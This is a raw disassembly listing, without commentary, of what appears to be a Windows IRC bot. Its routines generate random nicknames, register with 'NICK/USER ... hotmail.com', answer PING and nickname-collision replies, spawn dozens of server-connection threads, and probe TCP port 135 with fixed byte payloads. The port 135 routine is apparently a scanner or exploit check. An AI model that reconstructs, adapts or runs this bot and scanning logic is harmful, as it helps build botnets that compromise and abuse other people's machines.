		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA6C


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A5C
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA24


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB17C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDC0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_43932C
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439328
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43931C


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A64[esi]
		mov	dword_4D4A58[esi], edi
		push	dword_4D4C64[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A5C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CBA24
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CB9EC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A5C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A58[esi], ebx
		mov	esi, dword_4D4A5C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA6C


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A58


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB178
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A64[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C64[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A58[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438A68[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438768[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	off_438A68[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: ___:0040DFD7p
					; ___:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA14
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_439374
		push	esi
		call	dword_4CBA24
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393C0
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393DC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393F0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA6C
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; ___:00410CF1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CD20
		add	esp, 0Ch


loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



